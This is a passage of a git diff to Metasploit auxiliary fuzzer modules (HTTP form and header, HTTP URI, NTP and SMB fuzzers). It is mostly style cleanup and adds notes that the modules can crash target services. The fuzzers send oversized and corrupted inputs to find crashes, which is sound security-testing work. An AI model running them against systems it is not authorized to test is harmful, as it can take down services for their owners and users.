OptString.new('FIELDS', [ false, 'Name of the fields to fuzz. Leave empty to fuzz all fields', '' ]), + OptString.new('ACTION', [ false, 'Form action full URI. Leave empty to autodetect', '' ]), + OptInt.new('STARTSIZE', [ true, 'Fuzzing string startsize.', 1000]), + OptInt.new('ENDSIZE', [ true, 'Max Fuzzing string size.', 40000]), + OptInt.new('STEPSIZE', [ true, 'Increment fuzzing string each attempt.', 1000]), + OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for response on GET or POST', 15]), + OptInt.new('DELAY', [ true, 'Number of seconds to wait between 2 actions', 0]), + OptInt.new('STOPAFTER', [ false, 'Stop after x number of consecutive errors', 2]), + OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).", true]), + OptBool.new('FUZZHEADERS', [ true, 'Fuzz headers', true]), + OptString.new('HEADERFIELDS', [ false, 'Name of the headerfields to fuzz. Leave empty to fuzz all fields', '' ]), + OptString.new('TYPES', [ true, 'Field types to fuzz', 'text,password,inputtextbox']), + OptString.new('CODE', [ true, 'Response code(s) indicating OK', '200,301,302,303' ]), + OptBool.new('HANDLECOOKIES', [ true, 'Appends cookies with every request.', false]) + ] + ) end def init_vars - proto = "http://" + proto = 'http://' if datastore['SSL'] - proto = "https://" + proto = 'https://' end @send_data = { - :uri => '', - :version => '1.1', - :method => 'POST', - :headers => { - 'Content-Length' => 100, - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Accept-Language' => 'en-us,en;q=0.5', - 'Accept-Encoding' => 'gzip,deflate', - 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', - 'Keep-Alive' => '300', - 'Connection' => 'keep-alive', - 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s, - 'Content-Type' => 'application/x-www-form-urlencoded' - } + uri: '', + version: '1.1', + method: 'POST', + headers: { + 'Content-Length' => 100, + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language' => 'en-us,en;q=0.5', + 'Accept-Encoding' => 'gzip,deflate', + 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', + 'Keep-Alive' => '300', + 'Connection' => 'keep-alive', + 'Referer' => proto + datastore['RHOST'] + ':' + datastore['RPORT'].to_s, + 'Content-Type' => 'application/x-www-form-urlencoded' } + } @get_data_headers = { - 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s, - } + 'Referer' => proto + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + } end def init_fuzzdata @fuzzsize = datastore['STARTSIZE'] @endsize = datastore['ENDSIZE'] - set_fuzz_payload() + set_fuzz_payload @nrerrors = 0 end def incr_fuzzsize @stepsize = datastore['STEPSIZE'].to_i - @fuzzsize = @fuzzsize + @stepsize + @fuzzsize += @stepsize end def set_fuzz_payload if datastore['CYCLIC'] @fuzzdata = Rex::Text.pattern_create(@fuzzsize) else - @fuzzdata = "A" * @fuzzsize + @fuzzdata = 'A' * @fuzzsize end end def is_error_code(code) okcode = false - checkcodes = datastore['CODE'].split(",") - checkcodes.each do | testcode | - testcode = testcode.upcase.gsub(" ","") - if testcode == code.to_s().upcase.gsub(" ","") + checkcodes = datastore['CODE'].split(',') + checkcodes.each do |testcode| + testcode = testcode.upcase.gsub(' ', '') + if testcode == code.to_s.upcase.gsub(' ', '') okcode = true end end return okcode end - def fuzz_this_field(fieldname,fieldtype) - fuzzcommands = datastore['FIELDS'].split(",") + def fuzz_this_field(fieldname, fieldtype) + fuzzcommands = datastore['FIELDS'].split(',') fuzzme = 0 - if fuzzcommands.size > 0 + if !fuzzcommands.empty? fuzzcommands.each do |thiscmd| thiscmd = thiscmd.strip - if ((fieldname.upcase == thiscmd.upcase) || (thiscmd == "")) && (fuzzme == 0) + if ((fieldname.upcase == thiscmd.upcase) || (thiscmd == '')) && (fuzzme == 0) fuzzme = 1 end end else - fuzztypes = datastore['TYPES'].split(",") - fuzztypes.each do | thistype | + fuzztypes = datastore['TYPES'].split(',') + fuzztypes.each do |thistype| if (fieldtype.upcase.strip == thistype.upcase.strip) fuzzme = 1 end end end if fuzzme == 1 - set_fuzz_payload() + set_fuzz_payload end return fuzzme end def fuzz_this_headerfield(fieldname) - fuzzheaderfields = datastore['HEADERFIELDS'].split(",") + fuzzheaderfields = datastore['HEADERFIELDS'].split(',') fuzzme = 0 - if fuzzheaderfields.size > 0 + if !fuzzheaderfields.empty? fuzzheaderfields.each do |thisfield| thisfield = thisfield.strip - if ((fieldname.upcase == thisfield.upcase) || (thisfield == "")) && (fuzzme == 0) + if ((fieldname.upcase == thisfield.upcase) || (thisfield == '')) && (fuzzme == 0) fuzzme = 1 end end @@ -144,25 +152,23 @@ def fuzz_this_headerfield(fieldname) fuzzme = 1 end if fuzzme == 1 - set_fuzz_payload() + set_fuzz_payload end return fuzzme end - def do_fuzz_headers(form,headers) + def do_fuzz_headers(form, headers) headercnt = 0 - datastr = "" - form[:fields].each do | thisfield | - normaldata = "blah&" - if thisfield[:value] - if thisfield[:value] != "" - normaldata = thisfield[:value].strip + "&" - end + datastr = '' + form[:fields].each do |thisfield| + normaldata = 'blah&' + if thisfield[:value] && thisfield[:value] != ('') + normaldata = thisfield[:value].strip + '&' end - datastr << thisfield[:name].downcase.strip + "=" + normaldata + datastr << thisfield[:name].downcase.strip + '=' + normaldata end - if datastr.length > 0 - datastr=datastr[0,datastr.length-1] + "\r\n" + if !datastr.empty? + datastr = datastr[0, datastr.length - 1] + "\r\n" else datastr = "\r\n" end @@ -171,141 +177,142 @@ def do_fuzz_headers(form,headers) mysendheaders = @send_data[:headers].dup # get or post ? mysendheaders[:method] = form[:method].upcase - myheaders.each do | thisheader | - if not headers[thisheader[0]] + myheaders.each do |thisheader| + if !(headers[thisheader[0]]) # add header if needed - mysendheaders[thisheader[0]]= thisheader[1] + mysendheaders[thisheader[0]] = thisheader[1] end end nrheaderstofuzz = mysendheaders.size - mysendheaders.each do | thisheader| + mysendheaders.each do |thisheader| @fuzzheader = mysendheaders.dup @nrerrors = 0 fuzzpacket = @send_data.dup fuzzpacket[:method] = mysendheaders[:method] headername = thisheader[0] - if fuzz_this_headerfield(headername.to_s().upcase) == 1 - print_status(" - Fuzzing header '#{headername}' (#{headercnt+1}/#{nrheaderstofuzz})") - init_fuzzdata() - while @fuzzsize <= @endsize+1 + if fuzz_this_headerfield(headername.to_s.upcase) == 1 + print_status(" - Fuzzing header '#{headername}' (#{headercnt + 1}/#{nrheaderstofuzz})") + init_fuzzdata + while @fuzzsize <= @endsize + 1 @fuzzheader[headername] = @fuzzdata fuzzpacket[:headers] = @fuzzheader - response = send_fuzz(fuzzpacket,datastr) - if not process_response(response,headername,"header") - @fuzzsize = @endsize+2 + response = send_fuzz(fuzzpacket, datastr) + if !process_response(response, headername, 'header') + @fuzzsize = @endsize + 2 end if datastore['DELAY'] > 0 print_status(" (Sleeping for #{datastore['DELAY']} seconds...)") - select(nil,nil,nil,datastore['DELAY']) + select(nil, nil, nil, datastore['DELAY']) end - incr_fuzzsize() + incr_fuzzsize end else - print_status(" - Skipping header '#{headername}' (#{headercnt+1}/#{nrheaderstofuzz})") + print_status(" - Skipping header '#{headername}' (#{headercnt + 1}/#{nrheaderstofuzz})") end headercnt += 1 end end - def do_fuzz_field(form,field) - fieldstofuzz = field.downcase.strip.split(",") + def do_fuzz_field(form, field) + fieldstofuzz = field.downcase.strip.split(',') @nrerrors = 0 - while @fuzzsize <= @endsize+1 + while @fuzzsize <= @endsize + 1 allfields = form[:fields] - datastr = "" - normaldata = "" - allfields.each do | thisfield | + datastr = '' + normaldata = '' + allfields.each do |thisfield| dofuzzthis = false - if thisfield[:name] - fieldstofuzz.each do | fuzzthis | - if fuzzthis - if (thisfield[:name].downcase.strip == fuzzthis.downcase.strip) - dofuzzthis = true - end - end - end - if thisfield[:value] - normaldata = thisfield[:value].strip - else - normaldata = "" - end - if (dofuzzthis) - datastr << thisfield[:name].downcase.strip + "=" + @fuzzdata + "&" - else - datastr << thisfield[:name].downcase.strip + "=" + normaldata + "&" + next unless thisfield[:name] + + fieldstofuzz.each do |fuzzthis| + next unless fuzzthis + + if (thisfield[:name].downcase.strip == fuzzthis.downcase.strip) + dofuzzthis = true end end + if thisfield[:value] + normaldata = thisfield[:value].strip + else + normaldata = '' + end + if dofuzzthis + datastr << thisfield[:name].downcase.strip + '=' + @fuzzdata + '&' + else + datastr << thisfield[:name].downcase.strip + '=' + normaldata + '&' + end end - datastr=datastr[0,datastr.length-1] + datastr = datastr[0, datastr.length - 1] @send_data[:uri] = form[:action] - @send_data[:uri] = "/#{form[:action]}" if @send_data[:uri][0,1] != '/' + @send_data[:uri] = "/#{form[:action]}" if @send_data[:uri][0, 1] != '/' @send_data[:method] = form[:method].upcase - response = send_fuzz(@send_data,datastr) - if not process_response(response,field,"field") + response = send_fuzz(@send_data, datastr) + if !process_response(response, field, 'field') return end + if datastore['DELAY'] > 0 print_status(" (Sleeping for #{datastore['DELAY']} seconds...)") - select(nil,nil,nil,datastore['DELAY']) + select(nil, nil, nil, datastore['DELAY']) end end end - def process_response(response,field,type) - if response == nil - print_error(" No response - #{@nrerrors+1} / #{datastore['STOPAFTER']} - fuzzdata length : #{@fuzzsize}") - if @nrerrors+1 >= datastore['STOPAFTER'] + def process_response(response, field, type) + if response.nil? + print_error(" No response - #{@nrerrors + 1} / #{datastore['STOPAFTER']} - fuzzdata length : #{@fuzzsize}") + if @nrerrors + 1 >= datastore['STOPAFTER'] print_status(" *!* No response : #{type} #{field} | fuzzdata length : #{@fuzzsize}") return false else - @nrerrors = @nrerrors + 1 + @nrerrors += 1 end else okcode = is_error_code(response.code) if okcode - @nrerrors = 0 - incr_fuzzsize() + @nrerrors = 0 + incr_fuzzsize end - if not okcode and @nrerrors+1 >= datastore['STOPAFTER'] + if !okcode && (@nrerrors + 1 >= datastore['STOPAFTER']) print_status(" *!* Error response code #{response.code} | #{type} #{field} | fuzzdata length #{@fuzzsize}") return false else - @nrerrors = @nrerrors + 1 + @nrerrors += 1 end end return true end - def send_fuzz(postdata,data) + def send_fuzz(postdata, data) header = postdata[:headers] response = send_request_raw({ - 'uri' => postdata[:uri], - 'version' => postdata[:version], - 'method' => postdata[:method], - 'headers' => header, - 'data' => data - }, datastore['TIMEOUT']) + 'uri' => postdata[:uri], + 'version' => postdata[:version], + 'method' => postdata[:method], + 'headers' => header, + 'data' => data + }, datastore['TIMEOUT']) return response end def get_field_val(input) - tmp = input.split(/\=/) + tmp = input.split(/=/) # get delimiter tmp2 = tmp[1].strip - delim = tmp2[0,1] + delim = tmp2[0, 1] if delim != "'" && delim != '"' - delim = "" + delim = '' end tmp3 = tmp[1].split(/>/) - tmp4 = tmp3[0].gsub(delim,"") + tmp4 = tmp3[0].gsub(delim, '') return tmp4 end def get_form_data(body) - print_status("Enumerating form data") - body = body.gsub("\r","") - body = body.gsub("\n","") + print_status('Enumerating form data') + body = body.gsub("\r", '') + body = body.gsub("\n", '') bodydata = body.downcase.split(/
/) + print_status(" - Enumerating form ##{formcnt + 1}") + data = fdata.downcase.split(%r{
}) # first, get action and name formdata = data[0].downcase.split(/>/) subdata = formdata[0].downcase.split(/ /) namefound = false actionfound = false idfound = false - actionname = "" - formname = "" - formid = "" - formmethod = "post" - subdata.each do | thisfield | - if thisfield.match(/^name=/) and not namefound + actionname = '' + formname = '' + formid = '' + formmethod = 'post' + subdata.each do |thisfield| + if thisfield.match(/^name=/) && !namefound formname = get_field_val(thisfield) namefound = true end - if thisfield.match(/^id=/) and not idfound + if thisfield.match(/^id=/) && !idfound formid = get_field_val(thisfield) idfound = true end if thisfield.match(/^method=/) formmethod = get_field_val(thisfield) end - if thisfield.match(/^action=/) and not actionfound - actionname = get_field_val(thisfield) - if (actionname.length < datastore['URL'].length) and (datastore['URL'].downcase.index(actionname.downcase).to_i() > -1) - actionname = datastore['URL'] - end - actionfound = true + next unless thisfield.match(/^action=/) && !actionfound + + actionname = get_field_val(thisfield) + if (actionname.length < datastore['URL'].length) && (datastore['URL'].downcase.index(actionname.downcase).to_i > -1) + actionname = datastore['URL'] end + actionfound = true end - if datastore['ACTION'].length > 0 + if !datastore['ACTION'].empty? actionname = datastore['ACTION'] actionfound = true end - if formname == "" and formid != "" + if (formname == '') && (formid != '') formname = formid end - if formid == "" and formname != "" + if (formid == '') && (formname != '') formid = formname end - if formid == "" and formname == "" - formid = "noname_" + (formcnt+1).to_s() + if (formid == '') && (formname == '') + formid = 'noname_' + (formcnt + 1).to_s formname = formid end idfound = true @@ -368,90 +375,89 @@ def get_form_data(body) formfields = [] # input boxes fieldtypemarks = [ ' 1 - subdata.each do | thisinput | - if skipflag == 1 - # first, find the delimiter - fielddata = thisinput.downcase.split(/>/) - fields = fielddata[0].split(/ /) - fieldname = "" - fieldtype = "" - fieldvalue = "" - fieldmethod = "post" - fieldid = "" - fields.each do | thisfield | - if thisfield.match(/^type=/) - fieldtype = get_field_val(thisfield) - end - if currfieldmark == " 1 - delim = tmp[1][0,1] - tmp2 = tmp[1].split(delim) - fieldvalue = tmp2[1] - end - end - end - if fieldname == "" and fieldid != "" - fieldname = fieldid - end - if fieldid == "" and fieldname != "" - fieldid = fieldname - end - print_status(" Field : #{fieldname}, type #{fieldtype}") - if fieldid != "" - formfields << { - :id => fieldid, - :name => fieldname, - :type => fieldtype, - :value => fieldvalue - } - formfieldcnt += 1 - end - else - skipflag += 1 + fieldtypemarks.each do |currfieldmark| + formfieldcnt = 0 + next unless (namefound || idfound) && actionfound + + # get fields in current form - data[0] + subdata = data[0].downcase.split(currfieldmark) + skipflag = 0 + next unless subdata.size > 1 + + subdata.each do |thisinput| + if skipflag == 1 + # first, find the delimiter + fielddata = thisinput.downcase.split(/>/) + fields = fielddata[0].split(/ /) + fieldname = '' + fieldtype = '' + fieldvalue = '' + fieldid = '' + fields.each do |thisfield| + if thisfield.match(/^type=/) + fieldtype = get_field_val(thisfield) + end + if (currfieldmark == ' 1 + + delim = tmp[1][0, 1] + tmp2 = tmp[1].split(delim) + fieldvalue = tmp2[1] + end + if (fieldname == '') && (fieldid != '') + fieldname = fieldid end + if (fieldid == '') && (fieldname != '') + fieldid = fieldname + end + print_status(" Field : #{fieldname}, type #{fieldtype}") + if fieldid != '' + formfields << { + id: fieldid, + name: fieldname, + type: fieldtype, + value: fieldvalue + } + formfieldcnt += 1 + end + else + skipflag += 1 end end end print_status(" Nr of fields in form '#{formname}' : #{formfields.size}") # store in multidimensional array forms << { - :name => formname, - :id => formid, - :action => actionname, - :method => formmethod, - :fields => formfields + name: formname, + id: formid, + action: actionname, + method: formmethod, + fields: formfields } - formidx = formidx + 1 + formidx += 1 formcnt += 1 end - if forms.size > 0 - print_status(" Forms : ") + if !forms.empty? + print_status(' Forms : ') end - forms.each do | thisform | + forms.each do |thisform| print_status(" - Name : #{thisform[:name]}, ID : #{thisform[:id]}, Action : #{thisform[:action]}, Method : #{thisform[:method]}") end @@ -459,25 +465,26 @@ def get_form_data(body) end def set_cookie(cookie) - @get_data_headers["Cookie"]=cookie - @send_data[:headers]["Cookie"]=cookie + @get_data_headers['Cookie'] = cookie + @send_data[:headers]['Cookie'] = cookie end def run - init_fuzzdata() - init_vars() + init_fuzzdata + init_vars print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']}") response = send_request_raw( - { - 'uri' => normalize_uri(datastore['URL']), - 'version' => '1.1', - 'method' => 'GET', - 'headers' => @get_data_headers + { + 'uri' => normalize_uri(datastore['URL']), + 'version' => '1.1', + 'method' => 'GET', + 'headers' => @get_data_headers - }, datastore['TIMEOUT']) - if response == nil - print_error("No response") + }, datastore['TIMEOUT'] + ) + if response.nil? + print_error('No response') return end @@ -488,62 +495,62 @@ def run print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']} using cookies") response = send_request_raw( - { - 'uri' => normalize_uri(datastore['URL']), - 'version' => '1.1', - 'method' => 'GET', - 'headers' => @get_data_headers - }, datastore['TIMEOUT']) + { + 'uri' => normalize_uri(datastore['URL']), + 'version' => '1.1', + 'method' => 'GET', + 'headers' => @get_data_headers + }, datastore['TIMEOUT'] + ) end - if response == nil - print_error("No response") + if response.nil? + print_error('No response') return end print_status("Code : #{response.code}") okcode = is_error_code(response.code) - if not okcode - print_error("Server replied with error code. Check URL or set CODE to another value, and try again.") + if !okcode + print_error('Server replied with error code. Check URL or set CODE to another value, and try again.') return end if response.body - formfound = response.body.downcase.index(" 0 - if ((datastore['FORM'].strip == "") || (datastore['FORM'].upcase.strip == thisform[:name].upcase.strip)) && (thisform[:fields].size > 0) - print_status("Fuzzing fields in form #{thisform[:name].upcase.strip}") - # for each field in this form, fuzz one field at a time - formfields = thisform[:fields] - formfields.each do | thisfield | - if thisfield[:name] - if fuzz_this_field(thisfield[:name],thisfield[:type]) == 1 - print_status(" - Fuzzing field #{thisfield[:name]}") - do_fuzz_field(thisform,thisfield[:name]) - init_fuzzdata() - end - end - end - print_status("Done fuzzing fields in form #{thisform[:name].upcase.strip}") - end - # fuzz headers ? - if datastore['FUZZHEADERS'] - print_status("Fuzzing header fields") - do_fuzz_headers(thisform,response.headers) + formdata.each do |thisform| + next if thisform[:name].empty? + + if ((datastore['FORM'].strip == '') || (datastore['FORM'].upcase.strip == thisform[:name].upcase.strip)) && !thisform[:fields].empty? + print_status("Fuzzing fields in form #{thisform[:name].upcase.strip}") + # for each field in this form, fuzz one field at a time + formfields = thisform[:fields] + formfields.each do |thisfield| + next unless thisfield[:name] + + next unless fuzz_this_field(thisfield[:name], thisfield[:type]) == 1 + + print_status(" - Fuzzing field #{thisfield[:name]}") + do_fuzz_field(thisform, thisfield[:name]) + init_fuzzdata end + print_status("Done fuzzing fields in form #{thisform[:name].upcase.strip}") + end + # fuzz headers ? + if datastore['FUZZHEADERS'] + print_status('Fuzzing header fields') + do_fuzz_headers(thisform, response.headers) end end else - print_error("No form found in response body") + print_error('No form found in response body') print_status(response.body) return end else - print_error("No response data") + print_error('No response data') end - end end diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb index ae9b53122ee30..1a1996d092afb 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb @@ -3,28 +3,37 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'HTTP GET Request URI Fuzzer (Incrementing Lengths)', - 'Description' => %q{ - This module sends a series of HTTP GET request with incrementing URL lengths. - }, - 'Author' => [ 'nullthreat' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'HTTP GET Request URI Fuzzer (Incrementing Lengths)', + 'Description' => %q{ + This module sends a series of HTTP GET request with incrementing URL lengths. + }, + 'Author' => [ 'nullthreat' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(80), - OptInt.new("MAXLENGTH", [true, "The longest string length to try", 16384] ), - OptString.new("URIBASE", [true, "The base URL to use for the request fuzzer", "/"]), - OptString.new("VHOST", [false, "The virtual host name to use in requests"]) + OptInt.new('MAXLENGTH', [true, 'The longest string length to try', 16384]), + OptString.new('URIBASE', [true, 'The base URL to use for the request fuzzer', '/']), + OptString.new('VHOST', [false, 'The virtual host name to use in requests']) ]) end - def do_http_get(uri='',opts={}) + def do_http_get(uri = '', opts = {}) @connected = false connect @connected = true @@ -49,28 +58,28 @@ def run # XXX: Encode the string or leave it raw? Best to make a new boolean option to enable/disable this uri = pre + str - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using string length #{len}") end begin - r = do_http_get(uri,:timeout => 0.25) + do_http_get(uri, timeout: 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using string length #{len}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} len=#{len} uri=''#{last_str}'' error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} len=#{len} uri=''#{last_str}'' error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end - return + break end last_str = str diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb index ea87a81898c2b..894fa4534314a 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb @@ -3,27 +3,36 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'HTTP GET Request URI Fuzzer (Fuzzer Strings)', - 'Description' => %q{ - This module sends a series of HTTP GET request with malicious URIs. - }, - 'Author' => [ 'nullthreat' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'HTTP GET Request URI Fuzzer (Fuzzer Strings)', + 'Description' => %q{ + This module sends a series of HTTP GET request with malicious URIs. + }, + 'Author' => [ 'nullthreat' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(80), - OptString.new("VHOST", [false, "The virtual host name to use in requests"]), - OptString.new("URIBASE", [true, "The base URL to use for the request fuzzer", "/"]) + OptString.new('VHOST', [false, 'The virtual host name to use in requests']), + OptString.new('URIBASE', [true, 'The base URL to use for the request fuzzer', '/']) ]) end - def do_http_get(uri='',opts={}) + def do_http_get(uri = '', opts = {}) @connected = false connect @connected = true @@ -46,24 +55,24 @@ def run # XXX: Encode the string or leave it raw? Best to make a new boolean option to enable/disable this uri = pre + str - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end begin - r = do_http_get(uri,:timeout => 0.50) + do_http_get(uri, timeout: 0.50) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} uri=''#{last_str}'' error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} uri=''#{last_str}'' error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb index f0c40d9266ff6..b6ab34e86f717 100644 --- a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -12,8 +12,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'NTP Protocol Fuzzer', - 'Description' => %q( + 'Name' => 'NTP Protocol Fuzzer', + 'Description' => %q{ A simplistic fuzzer for the Network Time Protocol that sends the following probes to understand NTP and look for anomalous NTP behavior: @@ -35,9 +35,14 @@ def initialize * Warn if the "mode" (if applicable) doesn't align with what we expect, * Filter out the 12-byte mode 6 unsupported opcode errors. * Fuzz the control message payload offset/size/etc. There be bugs - ), - 'Author' => 'Jon Hart ', - 'License' => MSF_LICENSE + }, + 'Author' => 'Jon Hart ', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( @@ -45,7 +50,8 @@ def initialize Opt::RPORT(123), OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]), OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250]) - ]) + ] + ) register_advanced_options( [ @@ -54,7 +60,8 @@ def initialize OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)']), OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)']), OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)']) - ]) + ] + ) end def sleep_time @@ -66,9 +73,9 @@ def check_and_set(setting) const_name = thing.to_sym var_name = thing.downcase if datastore[thing] - instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i }) + instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).reject(&:empty?).map(&:to_i)) unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name) - fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty? + raise "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty? else instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name)) end @@ -196,6 +203,7 @@ def handle_responses(host, request, responses, what) request = request.to_binary_s if request.respond_to?('to_binary_s') responses.select! { |r| r[1] } return if responses.empty? + responses.each do |response| data = response[0] descriptions << Rex::Proto::NTP.describe(data) diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb index 3e4be7c9b53e2..7f47b391a8cce 100644 --- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb @@ -3,27 +3,36 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Negotiate SMB2 Dialect Corruption', - 'Description' => %q{ - This module sends a series of SMB negotiate requests that advertise a - SMB2 dialect with corrupted bytes. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Negotiate SMB2 Dialect Corruption', + 'Description' => %q{ + This module sends a series of SMB negotiate requests that advertise a + SMB2 dialect with corrupted bytes. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) ]) end - def do_smb_negotiate(pkt,opts={}) + def do_smb_negotiate(pkt, opts = {}) @connected = false connect @connected = true @@ -41,30 +50,30 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SMB negotiate packet with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_smb_negotiate(str, 0.25) + do_smb_negotiate(str, 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end @@ -79,13 +88,13 @@ def run def make_smb_negotiate # The SMB 2 dialect must be there dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002'] - data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') + data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc853 - pkt['Payload'].v['Payload'] = data + pkt['Payload'].v['Payload'] = data pkt.to_s end end diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index 8fb9e2f603f69..da95eddd4e614 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -3,28 +3,37 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMB Create Pipe Request Fuzzer', - 'Description' => %q{ - This module sends a series of SMB create pipe - requests using malicious strings. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SMB Create 